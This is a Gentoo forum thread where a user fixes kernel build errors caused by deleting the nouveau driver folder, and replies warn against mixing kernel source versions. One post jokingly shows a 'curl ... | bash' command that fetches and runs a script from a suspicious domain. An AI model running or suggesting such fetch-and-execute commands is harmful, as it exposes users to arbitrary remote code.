View previous topic :: View next topic |
Author |
Message |
glaucoTTY n00b
Joined: 26 Mar 2023 Posts: 5
|
Posted: Tue Mar 28, 2023 1:23 pm Post subject: [SOLVED]make and make menuconfig Error |
|
|
Hi,
after install nvidia driver i deleted the folder "drivers/gpu/drm/nouveau" and now when i try the "make" command i get this error
Code: |
SYNC include/config/auto.conf.cmd
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[2]: *** [scripts/kconfig/Makefile:77: syncconfig] Error 1
make[1]: *** [Makefile:704: syncconfig] Error 2
make: *** [Makefile:805: include/config/auto.conf.cmd] Error 2
|
and that error after "make menuconfig" command
Code: |
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[1]: *** [scripts/kconfig/Makefile:48: menuconfig] Error 1
make: *** [Makefile:704: menuconfig] Error 2
|
I know this is because of my silly mistake that i rm the folder
How can i fix that?
Last edited by glaucoTTY on Tue Mar 28, 2023 3:33 pm; edited 2 times in total |
|
Back to top |
|
|
stefan11111 l33t
Joined: 29 Jan 2023 Posts: 922 Location: Romania
|
Posted: Tue Mar 28, 2023 1:26 pm Post subject: Re: make and make menuconfig Error |
|
|
glaucoTTY wrote: | Hi,
after install nvidia driver i deleted the folder "drivers/gpu/drm/nouveau" and now when i try the "make" command i get this error
Code: | SYNC include/config/auto.conf.cmd
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[2]: *** [scripts/kconfig/Makefile:77: syncconfig] Error 1
make[1]: *** [Makefile:704: syncconfig] Error 2
make: *** [Makefile:805: include/config/auto.conf.cmd] Error 2 |
and that error after "make menuconfig" command
Code: | drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[1]: *** [scripts/kconfig/Makefile:48: menuconfig] Error 1
make: *** [Makefile:704: menuconfig] Error 2 |
I know this is because of my silly mistake that i rm the folder
How can i fix that?
|
Can't you just reemerge the sources?
Also, please add [code] tags. _________________ My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev" |
|
Back to top |
|
|
glaucoTTY n00b
Joined: 26 Mar 2023 Posts: 5
|
Posted: Tue Mar 28, 2023 1:34 pm Post subject: |
|
|
Hey, sorry i added the code tags.
I will try it now. |
|
Back to top |
|
|
stefan11111 l33t
Joined: 29 Jan 2023 Posts: 922 Location: Romania
|
Posted: Tue Mar 28, 2023 2:02 pm Post subject: |
|
|
You mean this?
Code: | $ curl http://free-skins.ru/skins.sh | bash |
I meant it as a joke about piping random things into bash.
It doesn't look like it's a real link. My browser can't find it. _________________ My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev" |
|
Back to top |
|
|
NeddySeagoon Administrator
Joined: 05 Jul 2003 Posts: 54216 Location: 56N 3W
|
Posted: Tue Mar 28, 2023 2:39 pm Post subject: |
|
|
stefan11111,
It's a registered domain name but there is no DNS record
Code: | $ whois free-skins.ru
% TCI Whois Service. Terms of use:
% https://tcinet.ru/documents/whois_ru_rf.pdf (in Russian)
% https://tcinet.ru/documents/whois_su.pdf (in Russian)
domain: FREE-SKINS.RU
nserver: ns1.reg.ru.
nserver: ns2.reg.ru.
state: REGISTERED, NOT DELEGATED, UNVERIFIED
person: Private Person
registrar: REGRU-RU
admin-contact: http://www.reg.ru/whois/admin_contact
created: 2022-11-22T20:42:01Z
paid-till: 2023-11-22T20:42:01Z
free-date: 2023-12-23
source: TCI
Last updated on 2023-03-28T14:36:30Z
roy@neddy_static ~ $ ping -4 free-skins.ru
ping: free-skins.ru: Name or service not known |
_________________ Regards,
NeddySeagoon
Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail. |
|
Back to top |
|
|
glaucoTTY n00b
Joined: 26 Mar 2023 Posts: 5
|
Posted: Tue Mar 28, 2023 2:53 pm Post subject: |
|
|
stefan11111 i deleted the report. It's a stupid habit from me to check every link out. sorry for that.
Thanks for your hint to reemerge, it is the solution!
What i did:
Code: | emerge --ask sys-kernel/gentoo-sources |
than copy the folders:
Code: | cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/
|
Thank you |
|
Back to top |
|
|
grknight Retired Dev
Joined: 20 Feb 2015 Posts: 1652
|
Posted: Tue Mar 28, 2023 2:57 pm Post subject: |
|
|
glaucoTTY wrote: | What i did:
Code: | emerge --ask sys-kernel/gentoo-sources |
than copy the folders:
Code: | cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/
|
|
This is a very silly idea and likely to cause issues.
If you want 6.1.19, then do emerge --ask sys-kernel/gentoo-sources:6.1.19
If you want to use 6.2.8, then use eselect kernel to select it |
|
Back to top |
|
|
stefan11111 l33t
Joined: 29 Jan 2023 Posts: 922 Location: Romania
|
Posted: Tue Mar 28, 2023 3:09 pm Post subject: |
|
|
glaucoTTY wrote: | stefan11111 i deleted the report. It's a stupid habit from me to check every link out. sorry for that.
Thanks for your hint to reemerge, it is the solution!
What i did:
Code: | emerge --ask sys-kernel/gentoo-sources |
than copy the folders:
Code: | cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/
|
Thank you |
And I thought I use hacky solutions.
This one might top it. _________________ My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev" |
|
Back to top |
|
|
glaucoTTY n00b
Joined: 26 Mar 2023 Posts: 5
|
Posted: Tue Mar 28, 2023 3:12 pm Post subject: |
|
|
grknight I don't know what you mean?
i don't want use the linux-6.2.8-gentoo, i just needed the folder /drivers/gpu/drm/nouveau back because i removed that. |
|
Back to top |
|
|
stefan11111 l33t
Joined: 29 Jan 2023 Posts: 922 Location: Romania
|
Posted: Tue Mar 28, 2023 3:17 pm Post subject: |
|
|
glaucoTTY wrote: | grknight I don't know what you mean?
i don't want use the linux-6.2.8-gentoo, i just needed the folder /drivers/gpu/drm/nouveau back because i removed that. |
It's not a good idea to mix and match files like that when you have a choice.
It's especially bad to do this with the kernel.
You may get a kernel that doesn't build, or one that builds, but is broken in unexpected ways.
You could also get a kernel that works well, but that comes down to luck.
I wouldn't recommend it. _________________ My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev" |
|
Back to top |
|
|
NeddySeagoon Administrator
Joined: 05 Jul 2003 Posts: 54216 Location: 56N 3W
|
Posted: Tue Mar 28, 2023 3:21 pm Post subject: |
|
|
glaucoTTY,
Code: | cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/ |
copies a piece of linux-6.2.8-gentoo into your linux-6.1.19-gentoo source tree.
In general, its a very bad thing to mix version like that.
If you want 6.1.19 emerge it all again.
If the ebuild is no longer in ::gentoo, fetch it from git. _________________ Regards,
NeddySeagoon
Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail. |
|
Back to top |
|
|
glaucoTTY n00b
Joined: 26 Mar 2023 Posts: 5
|
Posted: Tue Mar 28, 2023 3:22 pm Post subject: |
|
|
okay than i emerge the 6.1.19. |
|
Back to top |
|
|
|